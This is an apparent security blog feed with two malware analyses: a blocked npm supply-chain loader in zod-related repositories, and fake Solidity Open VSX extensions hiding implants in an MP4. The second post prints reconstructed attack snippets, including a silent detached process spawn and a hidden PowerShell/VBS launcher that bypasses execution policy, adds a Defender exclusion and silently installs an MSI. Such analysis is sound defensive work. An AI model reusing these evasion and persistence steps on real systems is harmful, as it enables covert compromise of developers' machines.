</ul>]]></content><author><name></name></author><category term="Malware Analysis" /><category term="vsix" /><category term="vscode" /><category term="mcp" /><category term="supply-chain" /><category term="marketplace" /><category term="code-execution" /><summary type="html"><![CDATA[An AI coding assistant with a Privacy section that promises all analysis runs locally — in a 2.9 KB package with no AI code, whose only real feature is a Visual Studio Code install prompt that doesn't show what it installs.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/codeaiassistant-mcp-install-prompt.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/codeaiassistant-mcp-install-prompt.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">The zod Near-Miss: Publish-Time Scanning at the npm Registry Boundary</title><link href="https://yeethsecurity.com/blog/2026-10-13-zod-npm-publish-time-scanning" rel="alternate" type="text/html" title="The zod Near-Miss: Publish-Time Scanning at the npm Registry Boundary" /><published>2026-10-13T00:00:00+00:00</published><updated>2026-10-13T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/zod-npm-publish-time-scanning</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-10-13-zod-npm-publish-time-scanning"><![CDATA[<p><code class="language-plaintext highlighter-rouge">zod</code> is the kind of dependency you add without thinking about it. The schema validation library sits in millions of TypeScript projects; commenters in GitHub’s incident thread put its weekly downloads above 280 million. On Sunday, September 21, 2026, a commit landed in the public <code class="language-plaintext highlighter-rouge">colinhacks/zod</code> repository with the message <code class="language-plaintext highlighter-rouge">Fix bugs and improve performance</code>.</p>

<p>Within the same hour, the same change appeared in two more repositories: <code class="language-plaintext highlighter-rouge">nubjs/nub</code> and <code class="language-plaintext highlighter-rouge">standard-schema/standard-schema</code>. The commits did not fix bugs. Each one added a loader to a package installation hook. The loader was built to fetch and run remotely controlled JavaScript on every machine where the package was installed.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li>Malicious commits reached three public repositories on 2026-09-21: <code class="language-plaintext highlighter-rouge">colinhacks/zod</code>, <code class="language-plaintext highlighter-rouge">nubjs/nub</code>, and <code class="language-plaintext highlighter-rouge">standard-schema/standard-schema</code>. All three used the commit message <code class="language-plaintext highlighter-rouge">Fix bugs and improve performance</code>.</li>
  <li>All three added the same loader: an install-time hook that resolved a remote delivery location through public Ethereum services, then downloaded and executed attacker-supplied JavaScript.</li>
  <li>Only <code class="language-plaintext highlighter-rouge">@nubjs/nub@0.9.4</code> reached npm’s publishing pipeline.</li>
  <li>npm’s publish-time malware scanning held the version in validation, classified its risk as High, and blocked it at 13:09 UTC — nine minutes after the commit that completed the package update.</li>
  <li>The <code class="language-plaintext highlighter-rouge">zod</code> and <code class="language-plaintext highlighter-rouge">standard-schema</code> changes never reached npm publishing. Hardened release workflows stopped them at the same boundary.</li>
  <li>GitHub’s advisory states that no available evidence establishes that a downstream system executed the malicious content.</li>
</ul>

<p>Sources: <a href="https://github.com/orgs/community/discussions/208477">GitHub’s security advisory</a>, the <a href="https://github.blog/changelog/2026-07-28-npm-publish-time-malware-scanning-and-dual-use-metadata/">npm publish-time scanning changelog</a>, and maintainer comments in the advisory thread.</p>

<h2 id="the-loader">The Loader</h2>

<p>In the analyzed <code class="language-plaintext highlighter-rouge">nub</code> package, the malicious file was <code class="language-plaintext highlighter-rouge">npm/nub/preinstall.js</code>. The package manifest configured it to run automatically through npm’s <code class="language-plaintext highlighter-rouge">preinstall</code> lifecycle hook. The related commits disguised the same loader under other paths:</p>

<table>
  <thead>
    <tr>
      <th>Repository</th>
      <th>Malicious file paths</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">colinhacks/zod</code></td>
      <td><code class="language-plaintext highlighter-rouge">packages/zod/meta.test.mjs</code>, <code class="language-plaintext highlighter-rouge">packages/mini/meta.mjs</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">nubjs/nub</code></td>
      <td><code class="language-plaintext highlighter-rouge">npm/nub/postinstall.js</code>, later renamed to <code class="language-plaintext highlighter-rouge">npm/nub/preinstall.js</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">standard-schema/standard-schema</code></td>
      <td><code class="language-plaintext highlighter-rouge">meta.mjs</code>, <code class="language-plaintext highlighter-rouge">packages/utils/meta.mjs</code></td>
    </tr>
  </tbody>
</table>

<p>The file followed six steps:</p>

<ol>
  <li>Contact public Ethereum RPC services.</li>
  <li>Query a fixed smart contract for a delivery location.</li>
  <li>Contact the returned website and request additional content.</li>
  <li>Download remotely supplied JavaScript and payload data.</li>
  <li>Execute the JavaScript with the permissions of the installation process.</li>
  <li>Remove temporary files after execution.</li>
</ol>

<p>The loader contacted three legitimate public RPC endpoints:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://eth.llamarpc.com
https://ethereum-rpc.publicnode.com
https://cloudflare-eth.com
</code></pre></div></div>

<p>These services are shared public infrastructure. They are not malicious by themselves. They matter only when correlated with this incident.</p>

<p>The delivery domain the smart contract pointed to was <code class="language-plaintext highlighter-rouge">dsakldjklsaj33112[.]com</code>, with the loader endpoint <code class="language-plaintext highlighter-rouge">https[://]dsakldjklsaj33112[.]com/loader</code>. A response captured during the investigation printed only <code class="language-plaintext highlighter-rouge">game over</code>. The response was inactive when captured. That capture does not establish what the service returned earlier, or what it could return later.</p>

<p>This design matters more than the payload. Because the delivery location lives in a smart contract, the threat actor can change the delivered content without publishing a new package version. The tarball that a registry scans is a downloader, not the payload. The reviewed artifact and the executed artifact are different objects.</p>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Timestamp (UTC)</th>
      <th>Event</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2026-09-21 11:56:52</td>
      <td>Public <code class="language-plaintext highlighter-rouge">colinhacks/zod</code> commit <a href="https://github.com/colinhacks/zod/commit/d821685ea6732436fcdf786a81d076958471e467"><code class="language-plaintext highlighter-rouge">d821685</code></a> adds the loader and installation hooks</td>
    </tr>
    <tr>
      <td>2026-09-21 12:37:19</td>
      <td>Public <code class="language-plaintext highlighter-rouge">standard-schema/standard-schema</code> commit <a href="https://github.com/standard-schema/standard-schema/commit/92703a50d347403fc26eae8318a010c7c7facf9a"><code class="language-plaintext highlighter-rouge">92703a5</code></a> adds the loader and an installation hook</td>
    </tr>
    <tr>
      <td>2026-09-21 12:54:48</td>
      <td>Public <code class="language-plaintext highlighter-rouge">nubjs/nub</code> commit <a href="https://github.com/nubjs/nub/commit/da01135c91c552b0051d0f7e17409619ce9e60ce"><code class="language-plaintext highlighter-rouge">da01135</code></a> replaces the install script with the loader and moves it to <code class="language-plaintext highlighter-rouge">preinstall</code></td>
    </tr>
    <tr>
      <td>2026-09-21 13:00:18</td>
      <td>Follow-up <code class="language-plaintext highlighter-rouge">nubjs/nub</code> commit <a href="https://github.com/nubjs/nub/commit/d38da4f0aa11340f71889d918d7fd16c07b2e1a2"><code class="language-plaintext highlighter-rouge">d38da4f</code></a> completes the <code class="language-plaintext highlighter-rouge">0.9.4</code> package update</td>
    </tr>
    <tr>
      <td>2026-09-21 13:09:47</td>
      <td>npm’s static scanning detects <code class="language-plaintext highlighter-rouge">@nubjs/nub@0.9.4</code>, classifies it High risk, and blocks it from public availability</td>
    </tr>
  </tbody>
</table>

<h2 id="the-entry-point-was-release-automation">The Entry Point Was Release Automation</h2>

<p>The malicious commits did not come through the package review path at all. According to the <code class="language-plaintext highlighter-rouge">zod</code> maintainer, a git push credential of some kind was compromised. The attack consisted of malicious commits and tagged pushes to <code class="language-plaintext highlighter-rouge">main</code>. Commit metadata does not establish who controlled the credential, device, or publishing process — but the target is clear: the release pipeline, not the code review process.</p>

<p>The three repositories responded differently:</p>

<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">zod</code></strong> had already moved to trusted publishing with a dedicated GitHub environment for releases. A tag push could not trigger a publish. The malicious commits landed in the repository, but the release flow could not be tricked into shipping them.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">standard-schema</code></strong> had not been vulnerable to this type of attack since npm removed token-based publishing flows the previous December.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">nub</code></strong> had a release pipeline triggerable by tag creation. That is the one path that worked — and it delivered the malicious version into npm’s publishing pipeline, where the scanner was waiting.</li>
</ul>

<h2 id="where-the-block-happened">Where the Block Happened</h2>

<p>npm’s publish-time malware scanning, enabled in July 2026, holds every newly submitted version before it becomes available for installation. Depending on the scan result, a version is published normally, held for additional review, or blocked.</p>

<p>For <code class="language-plaintext highlighter-rouge">@nubjs/nub@0.9.4</code>, the hold worked as designed. The version never became installable. That single decision prevented exposure to:</p>

<ul>
  <li>developers running <code class="language-plaintext highlighter-rouge">npm install</code> against the latest tag;</li>
  <li>automated dependency tools, which would have opened pull requests that human reviewers routinely approve;</li>
  <li>CI/CD systems that install dependencies on every build;</li>
  <li>downstream mirrors and caches, which replicate published versions and keep serving them after a registry takedown.</li>
</ul>

<p>GitHub’s advisory names the shift: from <strong>publish, detect, and remove</strong> to <strong>scan, assess, and prevent</strong>. The same incident under the old model is a familiar one — a malicious version ships, downloads accumulate, security vendors write it up, and the registry removes it days later while mirrors keep serving the tarball. Under the new model, the incident ends at 13:09 UTC with zero installs.</p>

<h2 id="the-honest-scorecard">The Honest Scorecard</h2>

<p>The obvious narrative — “npm’s scanner saved zod” — is overstated, and the <code class="language-plaintext highlighter-rouge">zod</code> maintainer said so directly in the advisory thread. The malicious <code class="language-plaintext highlighter-rouge">zod</code> and <code class="language-plaintext highlighter-rouge">standard-schema</code> changes never reached npm’s pipeline. Trusted publishing and hardened release workflows stopped them before any scanner was involved. The scanner’s confirmed save was <code class="language-plaintext highlighter-rouge">nub</code>, and that is the correct framing: a big win, for the version that actually needed it.</p>

<p>What the incident actually demonstrates is defense in depth at a single location. Two different controls — a hardened publish path and publish-time inspection — sit at the same boundary, and the attack had to defeat both. It defeated neither. Every registry that hosts packages faces the same boundary, and this incident is now the clearest public evidence for what belongs there.</p>

<h2 id="one-scanner-is-not-a-strategy">One Scanner Is Not a Strategy</h2>

<p>The npm block is the strongest third-party validation we have seen for <a href="https://yeethsecurity.com/blog/2026-07-27-supply-chain-security-registry-perimeter">scanning at the registry boundary</a>. It is also a single data point from the one registry with the resources to build it. Three gaps remain.</p>

<p><strong>The payload rotates.</strong> The loader resolved its delivery location from a smart contract, so the tarball contains a downloader rather than a final payload. A scanner that reasons about capability — lifecycle script, network access, dynamic code retrieval at install time — catches this pattern. A scanner that only matches known-bad content does not. Commenters in the advisory thread asked npm for machine-readable install-risk signals for exactly this reason.</p>

<p><strong>Most registries cannot build this.</strong> npm runs publish-time malware scanning because GitHub can staff a malware research team. The average package registry, IDE marketplace, or internal artifact store faces the same class of threat with a fraction of the resources. The economics do not favor every registry inventing its own scanning stack.</p>

<p><strong>Verdicts are trapped in silos.</strong> A blocked package, a scanner finding, and a maintainer incident report currently describe the same threat in incompatible formats. The evidence that would let registries and defenders share what they caught does not have a common shape.</p>

<h2 id="the-scintx-proposal">The SCINTX Proposal</h2>

<p>The control point npm proved is the right one. The contract that implements it should be open.</p>

<p><a href="https://projects.eclipse.org/proposals/eclipse-scintx-supply-chain-intelligence-exchange">SCINTX</a> — the Supply Chain Intelligence Exchange, proposed to the Eclipse Foundation and currently in the feedback stage — defines a vendor-neutral interchange layer between registries and security providers. A registry submits an artifact once. A gateway routes the submission to any conforming provider. Findings from different scanners are normalized into a common verdict model. A policy layer decides allow, hold, or block, with finding-linked rationale. The lifecycle is emitted as signed CloudEvents, so registries can poll or receive webhooks. The reference implementation is <a href="https://github.com/yeeth-security/scintx">on GitHub</a> under EPL-2.0.</p>

<p>Harbor already standardized pluggable scanning for container registries, with seven vendor adapters. SCINTX is the same idea generalized to every package ecosystem, with the parts Harbor left out: multi-provider orchestration, policy decisions with rationale, and event delivery.</p>

<p>This is not a theoretical position for us. Argus scans every extension submitted to Open VSX, and that work is what earned Yeeth Security a place in the <a href="https://yeethsecurity.com/blog/2026-05-21-openvsx-hall-of-fame">Open VSX Security Hall of Fame</a>. A registry does not need npm’s budget to run this control. It needs a contract that lets it plug in the scanners that already exist.</p>

<p>SCINTX is a proposal, not a finished standard. The community review is open, and it needs participants, not only reviewers. Registries can test the reference gateway against their own upload flows. Scanner providers can expose their findings through a common verdict model. Maintainers can weigh in on what install-time risk signals should look like. The contract that a community writes together is the one registries will actually adopt — join the review and help write it.</p>

<h2 id="outlook">Outlook</h2>

<ul>
  <li>Threat actors will keep targeting the release path — tag-triggerable CI, push credentials, and publish tokens — because the ecosystem hardened the package faster than the pipeline around it.</li>
  <li>Dead-drop loaders will remain attractive because they separate the reviewed artifact from the executed payload. Expect the delivery locations to rotate faster after this incident.</li>
  <li>Maintainer hardening will spread. By September 24, the <code class="language-plaintext highlighter-rouge">zod</code> maintainer had migrated every package to environment-scoped staged publishing that requires 2FA, so a compromised token alone can no longer publish a version.</li>
  <li>Registries without publish-time scanning become the softer target. The technique did not fail; only one of the three delivery paths was closed before it could ship.</li>
</ul>

<h2 id="what-defenders-should-take-from-this">What Defenders Should Take From This</h2>

<p>The general principle: <strong>the install hook is an execution boundary.</strong> A package that runs code in a lifecycle script grants itself execution on the developer machine before the package is even usable. Review of a package that changes an install script deserves the same scrutiny as review of a dependency version bump to an unknown publisher — more, because the script runs without the package ever being imported.</p>

<p>For maintainers: use trusted publishing, scope release environments, require 2FA on every path that can produce a version, and treat a push credential as a publish credential.</p>

<p>For registries: hold versions in validation before availability, and scan them there. A block at publish time costs one automated decision. A takedown after publication costs every downstream mirror, cache, and dependency bot that already shipped the tarball.</p>

<p>For developers: review what a package’s install hooks do before upgrading, and consider <code class="language-plaintext highlighter-rouge">--ignore-scripts</code> in environments where you do not need lifecycle execution.</p>

<h2 id="indicators">Indicators</h2>

<p>Published by GitHub in the security advisory:</p>

<table>
  <thead>
    <tr>
      <th>Type</th>
      <th>Indicator</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Malicious file SHA-256 (<code class="language-plaintext highlighter-rouge">preinstall.js</code>)</td>
      <td><code class="language-plaintext highlighter-rouge">5ed518aaff5aebc729545b8eb223ec31927cd1bfa53169517f09cdbcc9fd5a0b</code></td>
    </tr>
    <tr>
      <td>Delivery domain</td>
      <td><code class="language-plaintext highlighter-rouge">dsakldjklsaj33112[.]com</code></td>
    </tr>
    <tr>
      <td>Loader endpoint</td>
      <td><code class="language-plaintext highlighter-rouge">https[://]dsakldjklsaj33112[.]com/loader</code></td>
    </tr>
  </tbody>
</table>

<p>Behavioral signal: a package install hook that queries Ethereum RPC services for a delivery location, then downloads and executes JavaScript from the returned address.</p>]]></content><author><name></name></author><category term="Threat Intel" /><category term="zod" /><category term="npm" /><category term="supply-chain-security" /><category term="publish-time-scanning" /><category term="software-supply-chain" /><category term="scintx" /><category term="registry-security" /><category term="malware" /><summary type="html"><![CDATA[A commit titled 'Fix bugs and improve performance' added a remote-controlled loader to three open-source repositories — zod among them. The only version that reached npm's publishing pipeline was blocked nine minutes later, before a single developer could install it.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://yeethsecurity.com/assets/blog/zod-npm-publish-time-scanning.png" /><media:content medium="image" url="https://yeethsecurity.com/assets/blog/zod-npm-publish-time-scanning.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">SleepyDuck Returns: 2 fake Solidity Open VSX extensions hide a backdoor in an MP4</title><link href="https://yeethsecurity.com/blog/2026-09-24-Alejandroaranda-Duck-Song-Dropper" rel="alternate" type="text/html" title="SleepyDuck Returns: 2 fake Solidity Open VSX extensions hide a backdoor in an MP4" /><published>2026-09-24T00:00:00+00:00</published><updated>2026-09-24T00:00:00+00:00</updated><id>https://yeethsecurity.com/blog/Alejandroaranda-Duck-Song-Dropper</id><content type="html" xml:base="https://yeethsecurity.com/blog/2026-09-24-Alejandroaranda-Duck-Song-Dropper"><![CDATA[<p>In November 2025, we analyzed <a href="https://yeethsecurity.com/blog/2025-11-10-SleepyDuck-Evolution">a small backdoor</a> loose on Open VSX. SleepyDuck was unremarkable in every way but one: its header was an ASCII-art duck, and its C2 was a Solana smart contract the loader polled for tasking. It was a JavaScript file, a few kilobytes, executing fetched code in memory — a toy with a mascot.</p>

<p>The duck came back on September 24, 2026. Two extensions appeared on Open VSX under a brand-new <code class="language-plaintext highlighter-rouge">alejandroaranda</code> namespace, impersonating the canonical Solidity tooling — <code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-langsupport</code> and <code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-languini</code>, both displaying as “Solidity,” both copying the real extension’s README word for word. Both also ship a 205 MB file named <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code>. A language extension has no reason to bundle a video. This one bundles it because the video is the payload: stitched into its metadata boxes is a custom-format archive holding compiled Go implants for four platforms, installed as a system service on every startup.</p>

<p>And packed alongside the binaries, one more file — an ASCII-art duck, over the words “your prize is nothing.”</p>

<p>On Windows, the campaign installs a genuine ConnectWise ScreenConnect MSI, a commercial remote-access tool that half the antivirus engines classify as “potentially unwanted application” and the other half deliberately tolerate, because the same installer sits on thousands of managed corporate desktops.</p>

<h2 id="tldr">TL;DR</h2>

<ul>
  <li><strong>SleepyDuck is back.</strong> The ASCII-art duck that signed the 2025 Open VSX loader family reappears inside a September 24, 2026 campaign of two fake Solidity extensions (<code class="language-plaintext highlighter-rouge">solidity-langsupport</code> 0.0.6, <code class="language-plaintext highlighter-rouge">solidity-languini</code> 0.9.2), published under the new, unverified <code class="language-plaintext highlighter-rouge">alejandroaranda</code> namespace by a GitHub account (<code class="language-plaintext highlighter-rouge">janeykomit</code>) created in 2017 and inactive until the day of publishing.</li>
  <li><strong>The loader became a binary.</strong> The 2025 SleepyDuck variants were kilobyte JavaScript files executing fetched code in memory. This campaign ships <code class="language-plaintext highlighter-rouge">evjawbreaker</code>, a stripped, statically linked Go implant compiled for four platforms, with a TLS C2 “hub” client, an Ethereum JSON-RPC dead-drop channel (ten public RPC endpoints compiled in), an interactive PTY shell, and anti-VM/anti-debug checks — hidden inside a 205 MB MP4 through a custom <code class="language-plaintext highlighter-rouge">NYANSTEG</code>/<code class="language-plaintext highlighter-rouge">NYANARCH</code>/<code class="language-plaintext highlighter-rouge">NYANB64X</code> steganographic container.</li>
  <li><strong>The payload hashes predate the campaign by six months — and close a cold case.</strong> Four binaries were first submitted to VirusTotal on March 30, 2026. In April, we caught two Solidity typosquats (<code class="language-plaintext highlighter-rouge">juannegro.solidity</code>, <code class="language-plaintext highlighter-rouge">juunfranbIanco.solidity</code>) shipping a byte-identical <code class="language-plaintext highlighter-rouge">linux_amd64</code> — recorded then under the family label <code class="language-plaintext highlighter-rouge">juannegro-solidity</code>, with no SleepyDuck connection. The duck in the September archive retroactively merges the two: same implant, same operation, rotating front ends.</li>
  <li><strong>The easter egg came back with it</strong>: an ASCII-art duck over “your prize is nothing,” packed, hashed, and shipped with the implant as a taunt for whoever extracts it.</li>
  <li><strong>On Windows, the actor stopped writing malware.</strong> The campaign silently installs <code class="language-plaintext highlighter-rouge">app.msi</code> — a genuine <strong>ConnectWise ScreenConnect</strong> installer (novel to this campaign), deployed through a <code class="language-plaintext highlighter-rouge">calc.exe</code> UAC bypass with a Defender exclusion. Commercial enterprise tooling as the backdoor: 11 of 62 engines flag it, mostly as “PUA.”</li>
  <li><strong><code class="language-plaintext highlighter-rouge">solidity-langsupport</code> had accumulated over 247,000 downloads</strong> at the time of analysis — one day after first publication. The extensions are still live on Open VSX at the time of writing.</li>
</ul>

<h2 id="why-solidity-impersonation-works">Why Solidity impersonation works</h2>

<p>Solidity impersonation is now a recurring pattern on Open VSX. In May 2026, a threat actor uploaded the same JuanBlanco-impersonating VSIX eight times in an afternoon, iterating the execution primitive with each republish. In August, the <code class="language-plaintext highlighter-rouge">helper-beeps</code>/<code class="language-plaintext highlighter-rouge">web3devtoolsx</code> family shipped a Solidity-themed dropper that pivoted from a Cloudflare-Worker C2 to a full credential stealer over five major versions. The canonical tool is <code class="language-plaintext highlighter-rouge">JuanBlanco.solidity</code> — a ten-year-old Marketplace extension with millions of installs, whose Open VSX counterpart lives under a verified namespace. The display name, the README, the icon, and the marketplace badges all say “Solidity” and nothing else.</p>

<p>The <code class="language-plaintext highlighter-rouge">langsupport</code> copy had already passed 247,000 downloads a day after publication — ranking ahead of, or close to, extensions that took years to get there with an inflated download count.</p>

<h2 id="the-two-extensions">The two extensions</h2>

<table>
  <thead>
    <tr>
      <th>Extension</th>
      <th>Version</th>
      <th>First published</th>
      <th>Downloads (Sep 25)</th>
      <th>Display name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-langsupport</code></td>
      <td>0.0.6</td>
      <td>2026-09-24 23:42 UTC</td>
      <td>247,380</td>
      <td><code class="language-plaintext highlighter-rouge">solidity</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">alejandroaranda.solidity-languini</code></td>
      <td>0.9.2</td>
      <td>2026-09-24 23:46 UTC</td>
      <td>97</td>
      <td><code class="language-plaintext highlighter-rouge">Solidity</code></td>
    </tr>
  </tbody>
</table>

<p>Both were published by the Open VSX account <code class="language-plaintext highlighter-rouge">janeykomit</code>, authenticated through a GitHub account created in April 2017. The account has 14 public repositories, zero followers, and no activity until September 24, 2026 — the profile was updated 25 minutes before the first extension went up. A nine-year-old account with no history is a classic aged-handle purchase: bought or compromised.</p>

<h2 id="what-activates">What activates</h2>

<p>The <code class="language-plaintext highlighter-rouge">package.json</code> of both extensions is nearly empty and deliberately ordinary: <code class="language-plaintext highlighter-rouge">Programming Languages</code>, <code class="language-plaintext highlighter-rouge">Snippets</code>, keywords <code class="language-plaintext highlighter-rouge">solidity</code>, <code class="language-plaintext highlighter-rouge">ethereum</code>, <code class="language-plaintext highlighter-rouge">blockchain</code>, <code class="language-plaintext highlighter-rouge">smart contracts</code>, MIT license, and a single activation event:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"main"</span><span class="p">:</span><span class="w"> </span><span class="s2">"./out/extension.js"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"activationEvents"</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">"onStartupFinished"</span><span class="p">]</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">onStartupFinished</code> means the payload fires every time the editor starts, after the window is up — the moment when the developer has stopped paying attention.</p>

<p>The entry point, <code class="language-plaintext highlighter-rouge">out/extension.js</code>, is 48 lines of compiled TypeScript boilerplate. It imports two components and calls one function. The actual work lives in <code class="language-plaintext highlighter-rouge">out/components/autoUpdate.js</code>, which reads:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">exports</span><span class="p">.</span><span class="nx">BUNDLED_RUNNER</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">lang-resource-sync.js</span><span class="dl">'</span><span class="p">;</span>
<span class="nx">exports</span><span class="p">.</span><span class="nx">BUNDLED_VIDEO</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">The Duck Song.mp4</span><span class="dl">'</span><span class="p">;</span>
</code></pre></div></div>

<p>On activation, <code class="language-plaintext highlighter-rouge">attemptUpdate()</code> checks whether the deployment is already complete — on Linux and macOS by looking for specific files under <code class="language-plaintext highlighter-rouge">~/.solidity</code>, on Windows by scanning for a directory whose name contains a marker string. If the deployment is not found, the extension spawns a detached Node process:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// analyst interpretation of the activation flow</span>
<span class="kd">const</span> <span class="nx">child</span> <span class="o">=</span> <span class="nf">spawn</span><span class="p">(</span><span class="nx">process</span><span class="p">.</span><span class="nx">execPath</span><span class="p">,</span> <span class="p">[</span><span class="nx">runnerPath</span><span class="p">,</span> <span class="nx">videoPath</span><span class="p">],</span> <span class="p">{</span>
  <span class="na">detached</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
  <span class="na">stdio</span><span class="p">:</span> <span class="dl">'</span><span class="s1">ignore</span><span class="dl">'</span>
<span class="p">});</span>
<span class="nx">child</span><span class="p">.</span><span class="nf">unref</span><span class="p">();</span>
</code></pre></div></div>

<p>The extension does not wait for the child, does not surface an error, and does not log anything. The editor opens normally. The syntax highlighting works. Somewhere under the hood, a 205 MB video file is being read as a container.</p>

<p>A final detail: on Windows, both the extension and the runner write debug logs to <code class="language-plaintext highlighter-rouge">%TEMP%\solidity-langsupport-debug.log</code>. A threat actor debugging their own installer through the victim’s temp directory is a rare artifact — it survived into the published build.</p>

<h2 id="the-steganographic-container">The steganographic container</h2>

<p>The runner script, <code class="language-plaintext highlighter-rouge">lang-resource-sync.js</code>, is 21 KB of plain Node.js. It reads <code class="language-plaintext highlighter-rouge">The Duck Song.mp4</code> and walks the MP4 box structure looking for one specific custom box — a box type no legitimate MP4 contains. The format is homemade, and its three magic headers spell out the campaign’s internal name:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">BOX_MAGIC</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="dl">'</span><span class="s1">NYANSTEG</span><span class="dl">'</span><span class="p">);</span>      <span class="c1">// the box glued into the MP4</span>
<span class="kd">const</span> <span class="nx">ARCHIVE_MAGIC</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="dl">'</span><span class="s1">NYANARCH</span><span class="dl">'</span><span class="p">);</span>  <span class="c1">// the archive inside the box</span>
<span class="kd">const</span> <span class="nx">OBFUSCATE_MAGIC</span> <span class="o">=</span> <span class="nx">Buffer</span><span class="p">.</span><span class="k">from</span><span class="p">(</span><span class="dl">'</span><span class="s1">NYANB64X</span><span class="dl">'</span><span class="p">);</span> <span class="c1">// optional obfuscation layer</span>
</code></pre></div></div>

<p>The container layers three stages:</p>

<ol>
  <li><strong>Locate.</strong> Scan the MP4 bytes for the <code class="language-plaintext highlighter-rouge">NYANSTEG</code> magic and take everything after it as embedded data.</li>
  <li><strong>Deobfuscate.</strong> If the payload starts with <code class="language-plaintext highlighter-rouge">NYANB64X</code>, decode a substitution table: each of the 65 base64 characters is mapped to a variable-length token, and the payload body is written in those tokens.</li>
  <li><strong>Unpack.</strong> The result is a <code class="language-plaintext highlighter-rouge">NYANARCH</code> archive: a file table with names, sizes, and SHA-256 digests, followed by the file bodies, each verified against its digest before extraction.</li>
</ol>

<p>The layering has a clear purpose. The payload never exists as a file on disk, never travels over the network, and never appears as an executable inside the VSIX. It is bytes inside a box inside a video that plays correctly in any media player. File-type detection sees an MP4. Signature scanning sees a song about a duck asking for grapes.</p>

<h2 id="cross-platform-persistence">Cross-platform persistence</h2>

<p>The archive contains binaries named for each target: <code class="language-plaintext highlighter-rouge">linux_amd64</code>, <code class="language-plaintext highlighter-rouge">linux_arm64</code>, <code class="language-plaintext highlighter-rouge">darwin_amd64</code>, <code class="language-plaintext highlighter-rouge">darwin_arm64</code>. On macOS and Linux, the runner writes the binary to a hidden directory under the user’s home and registers it as a persistent service.</p>

<p>On Linux, the service definition is written as a systemd user unit named <code class="language-plaintext highlighter-rouge">solidity-langsupport-runner.service</code>. On macOS, it takes the form of a LaunchAgent — <code class="language-plaintext highlighter-rouge">com.solidity.langsupport.runner.plist</code>, installed where <code class="language-plaintext highlighter-rouge">launchd</code> loads it at login. The binary is marked executable, the service is enabled, and the extension’s job is done. From the next boot onward, the service starts with the user session, independent of VS Code.</p>

<p>The Windows path is longer and more aggressive. The runner writes a PowerShell script, then writes a Visual Basic Script launcher, then executes it:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// analyst interpretation of the launcher chain</span>
<span class="kd">const</span> <span class="nx">psCmd</span> <span class="o">=</span> <span class="s2">`powershell.exe -WindowStyle Hidden -NoProfile `</span> <span class="o">+</span>
  <span class="s2">`-ExecutionPolicy Bypass -File "</span><span class="p">${</span><span class="nx">postUacPath</span><span class="p">}</span><span class="s2">"`</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">vbs</span> <span class="o">=</span> <span class="s2">`CreateObject("Wscript.Shell").Run "</span><span class="p">${</span><span class="nx">psCmd</span><span class="p">}</span><span class="s2">", 0, False`</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">elevated</span> <span class="o">=</span> <span class="s2">`wscript.exe //B //Nologo "</span><span class="p">${</span><span class="nx">vbsPath</span><span class="p">}</span><span class="s2">"`</span><span class="p">;</span>
</code></pre></div></div>

<p>The VBS wrapper exists to bypass User Account Control: <code class="language-plaintext highlighter-rouge">wscript.exe</code> running a hidden PowerShell window does not prompt the user the way a direct PowerShell elevation would. Inside the elevated script, the installer:</p>

<ul>
  <li>marks the staging directory’s contents <code class="language-plaintext highlighter-rouge">Hidden</code> + <code class="language-plaintext highlighter-rouge">System</code>,</li>
  <li>adds itself to the Microsoft Defender exclusion paths with <code class="language-plaintext highlighter-rouge">Add-MpPreference -ExclusionPath</code>,</li>
  <li>copies the payload to <code class="language-plaintext highlighter-rouge">app.msi</code> and installs it with <code class="language-plaintext highlighter-rouge">msiexec.exe /q /i ALLUSERS=1</code> — silent, all users, no visible window,</li>
  <li>writes an <code class="language-plaintext highlighter-rouge">ok</code> flag to signal completion,</li>
  <li>and in a <code class="language-plaintext highlighter-rouge">finally</code> block, removes the Defender exclusion, deletes the staging directory, the script, the VBS launcher, and the copied MSI.</li>
</ul>

